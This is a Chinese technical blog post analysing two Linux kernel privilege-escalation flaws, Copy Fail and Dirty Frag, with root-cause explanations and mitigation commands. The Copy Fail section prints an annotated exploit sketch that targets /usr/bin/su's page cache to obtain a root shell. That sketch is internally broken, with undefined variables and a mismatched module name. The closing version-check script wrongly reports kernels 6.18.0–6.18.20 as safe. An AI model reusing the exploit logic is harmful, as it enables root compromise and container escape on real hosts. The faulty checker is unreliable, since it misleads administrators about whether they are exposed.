↓ 跳过正文
  1. 文章/

还有第2关?!内核漏洞连爆——Copy Fail 与 Dirty Frag

Linux 安全 漏洞

目录
linux - 这篇文章属于一个选集。
§ 2: 本文
一句话

十天内连续遭遇两个 Linux 内核本地提权漏洞:CVE-2026-31431(Copy Fail)和 Dirty Frag。前者已修复,后者暂无 CVE,临时通过禁模块缓解。


背景
#

4 月底刚处理完一个内核漏洞,更新内核后以为能消停几天。

结果不到十天,5 月 9 日下午,又来一个。

这两次漏洞有几个共同点:都是本地提权(不需要远程利用)、都是纯逻辑缺陷而非内存破坏类漏洞、利用门槛都极低——一个是 732 字节 Python 脚本,一个是单行代码就能通杀。

本文记录从发现到修复的完整过程,以及两个漏洞的技术根因分析。


问题
#

Copy Fail(CVE-2026-31431)
#

披露时间:2026 年 4 月 29 日,Theori 安全团队(研究员 Taeyang Lee)公开。

根因分析
#

漏洞根源在于 2017 年 Linux 内核对 crypto/algif_aead 模块引入的原位加密优化(in-place encryption)。

正常的数据加密流程:内核从用户态接收数据,复制到内核缓冲区,加密后写入目标位置。但 2017 年的优化改变了这个流程——为了减少一次内存复制,加密操作直接在接收缓冲区原地进行。问题出在 authencesn(带扩展序列号的认证加密)算法在处理特定长度的加密数据时,需要临时存储解密后的明文数据。代码将 assoclen + cryptlen 位置用作临时存储空间,并在解密过程中执行了一次 4 字节的越界写入。这段越界写入直接命中当前进程已打开的可读文件对应的页缓存页,覆盖其中的 4 字节内容,且不触发磁盘写回、不产生任何文件系统事件。

这意味着:即使目标文件是 /usr/bin/su 这样的 setuid 二进制文件,攻击者也能在无竞争条件、无需复现任何堆栈绕过的情况下,悄悄篡改其页缓存内容,从而获得 root 权限。更危险的是,由于页缓存在容器与宿主机之间共享,受感染容器可以直接篡改宿主机的文件,实现容器逃逸。

影响范围与危险等级
#

属性 值
CVE 编号 CVE-2026-31431
漏洞类型 本地提权(LPE)+ 容器逃逸
CVSS 评分 7.8(高危)/ 容器场景 9.8(严重)
影响内核范围 4.14 ≤ version < 6.18.21
影响系统 Ubuntu 24.04/22.04/20.04、RHEL 8/9/10、 Amazon Linux 2023、SUSE SLES 15/16 等
触发条件 内核启用 AF_ALG 加密接口 + 加载 authencesn 模块 + 目标存在 setuid 文件
POC 大小 732 字节(完整可工作的 Python 脚本)
POC 地址 github.com/theori-io/copy-fail-CVE-2026-31431

POC 核心代码
#

以下是 POC 的关键逻辑分解(原版 732 字节 Python,来自 Theori 团队):

#!/usr/bin/env python3
"""CVE-2026-31431 Copy Fail - 核心利用逻辑(仅供研究学习)"""
import os
import zlib
import socket as s

# Step 1: 创建 AF_ALG 套接字
# AF_ALG 是 Linux 内核加密接口的用户态访问点
# 38 = AF_ALG, SOCK_SEQPACKET = 5
cli = s.socket(38, 5, 0)

# Step 2: 绑定 authencesn 加密算法
# authencesn = 带扩展序列号的 HMAC-SHA256 + CBC-AES 组合
cli.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

# Step 3: 获取 SOL_ALG 层级句柄并设置密钥
h = 279  # SOL_ALG
cli.setsockopt(h, 1, bytes.fromhex('0800010000000010' + '0'*64))

# Step 4: 设置 aead 认证标签长度
cli.setsockopt(h, 5, None, 4)

# Step 5: 接受连接(触发内核加密处理)
conn, _ = cli.accept()

# Step 6: 构造 IOVEC + cmsg 控制消息
# 关键:sendmsg 的 control message 中携带精心构造的地址/长度参数
# 这些参数会在解密路径上导致 4 字节越界写入
payload = b"A" * 4 + exploit_data  # 4字节填充 + 实际exploit数据
msghdr_iov = [
    (socket.SOL_ALG, 3, bytes(4) * 4),        # 设置 assoclen
    (socket.SOL_ALG, 2, b'\x10' + bytes(4) * 19),  # 伪造 iv
    (socket.SOL_ALG, 4, b'\x08' + bytes(4) * 3),   # 控制标志
]

# Step 7: 发送触发解密操作
conn.sendmsg([payload], msghdr_iov, 32768)

# Step 8: 用 splice 将目标文件内容导入管道,再导出到 socket
# 这一步是实际触发 OOB 写的关键路径
r, w = os.pipe()
os.splice(target_file_fd, w, file_size, offset_src=0)  # 从文件读入管道
os.splice(r, conn.fileno(), file_size)                  # 从管道写入socket(触发漏洞)

# 最终效果:/usr/bin/su 的页缓存被修改 4 字节
# 修改后执行 su 即获得 root shell

代码逻辑简要说明:

  1. 创建 AF_ALG 类型的 socket,绑定 authencesn 算法
  2. 通过 setsockopt 伪造加密上下文参数
  3. sendmsg 携带伪造的 control message,触发解密路径上的越界写
  4. splice 系统调用将目标文件内容经管道送往 socket,走完整的加密处理路径
  5. 4 字节越界写入命中 /usr/bin/su 的页缓存,覆写其中内容
  6. 执行 su 时实际运行的是被篡改后的页缓存内容,弹出 root shell

Dirty Frag
#

披露时间:2026 年 5 月 8 日,由韩国安全研究员 Hyunwoo Kim 发现。

根因分析
#

与 Copy Fail 不同,Dirty Frag 不是单一漏洞,而是一个漏洞链(vulnerability chain)——通过精心构造的内存操作序列,串联两个独立的安全缺陷,最终实现内核态任意代码执行。

漏洞链的两环:

第一环:xfrm-ESP(IPsec 封装安全载荷)漏洞 Linux 内核的 xfrm(Transform Framework)子系统在处理 ESP 数据包时存在缺陷,允许通过精心构造的 ESP 报文触发碎片整理操作中的内存错误。

第二环:RxRPC(网络文件系统协议)漏洞 RxRPC 是 Linux 内核用于网络文件系统(如 AFS)的协议模块。其在处理数据包时同样存在碎片管理缺陷。

串联方式:攻击者首先利用 xfrm-ESP 触发内核碎片管理器的异常调度,随后 RxRPC 漏洞在同一时间窗口内被触发,两个独立缺陷的叠加效应导致攻击者可以操控内核内存分配,使页缓存页被错误地映射到攻击者控制的内存区域。由于是纯逻辑缺陷,不依赖竞争条件或特定硬件,利用门槛同样极低。

影响范围与危险等级
#

属性 值
CVE 编号 暂无(撰写本文时各发行版均未发布修复补丁)
漏洞类型 本地提权(LPE)
CVSS 评分 未公布
影响范围 Ubuntu、Debian、CentOS、Fedora 等主流发行版多个版本
触发条件 需加载 esp4、esp6、rxrpc 三内核模块之一
特别危险点 零日窗口——目前无补丁、无 CVE,各安全扫描工具暂无法检测

方案
#

Copy Fail 修复
#

永久修复:升级内核至 ≥ 6.18.21(补丁 commit a664bf3d603d)。

Ubuntu 示例:

# 方式一:apt 升级
sudo apt update && sudo apt upgrade

# 方式二:使用 UKUU 可视化选内核版本(避免英伟达驱动踩雷)
# sudo apt install ukuu
# ukuu --install-latest

排查命令:

# 1. 确认当前内核版本
uname -r

# 2. 检查 AF_ALG 接口配置状态
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
# 返回 n   → 已彻底关闭,不受影响
# 返回 y   → 静态编译进内核,lsmod 查不到模块,但接口仍存在
# 返回 m   → 模块方式构建,可通过 rmmod 缓解

临时缓解(无法升级内核时):

# 禁用 algif_aead 模块
sudo rmmod algif_aead
# 注意:这可能导致某些加密功能不可用

Dirty Frag 临时缓解
#

目前无 CVE、无补丁,唯一方案是禁止触发路径——即禁用漏洞利用所需的三个内核模块。这三个模块都与 IPSec 相关,大多数桌面和服务器并不会使用,禁用后对日常使用影响极小。

# 写入配置,阻止模块自动加载
sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"

# 立即卸载已加载的模块(如有)
sudo rmmod esp4 esp6 rxrpc 2>/dev/null

# 验证:无输出 = 安全
lsmod | grep -E 'esp4|esp6|rxrpc'

如需确认系统是否使用 IPsec:

# 检查 ipsec 相关服务是否运行
systemctl status strongswan 2>/dev/null || systemctl status libreswan 2>/dev/null || echo "No IPsec service running"
# 如有输出,建议先测试再执行 rmmod,避免断连

验证
#

本机自查结果(2026-05-09)
#

漏洞 自查方法 结果
Copy Fail 内核版本检查 ✅ 已更新至 6.18.x,安全版本
Copy Fail grep CONFIG_CRYPTO_USER_API_AEAD ✅ 接口已关闭(返回 n)
Dirty Frag lsmod | grep -E 'esp4|esp6|rxrpc' ✅ 无相关模块,本机暂无影响

Copy Fail 内核版本范围对照
#

# 在任意 Linux 主机执行以下 Python 可快速判断是否在漏洞范围内
python3 -c "
import subprocess, re
ver = subprocess.check_output(['uname', '-r']).decode().strip()
# 提取主版本号
m = re.match(r'(\d+)\.', ver)
if m:
    major = int(m.group(1))
    print(f'内核版本: {ver}')
    if major >= 4 and major < 6:
        print('⚠️ 在漏洞影响范围内,请立即更新')
    elif major >= 6 and int(ver.split('.')[1].split('-')[0]) < 18:
        print('⚠️ 6.x 系列,请确认次版本 >= 18')
    else:
        print('✅ 暂不在已知漏洞范围内')
"

总结
#

  1. Copy Fail 已修复:升级内核至 6.18.21+ 即可,无需其他操作。
  2. Dirty Frag 暂无补丁:执行禁模块命令是唯一缓解手段。三个模块(esp4/esp6/rxrpc)与 IPSec 相关,桌面用户禁用后无感知,但需持续关注后续补丁动态。
  3. 两个漏洞的共同点:都是纯逻辑缺陷,不需要复杂的内存破坏技术,门槛极低。这意味着 Linux 内核漏洞的利用已经从"专业攻击者专属"变成了"脚本小子也能上手"。
linux - 这篇文章属于一个选集。
§ 2: 本文

相关文章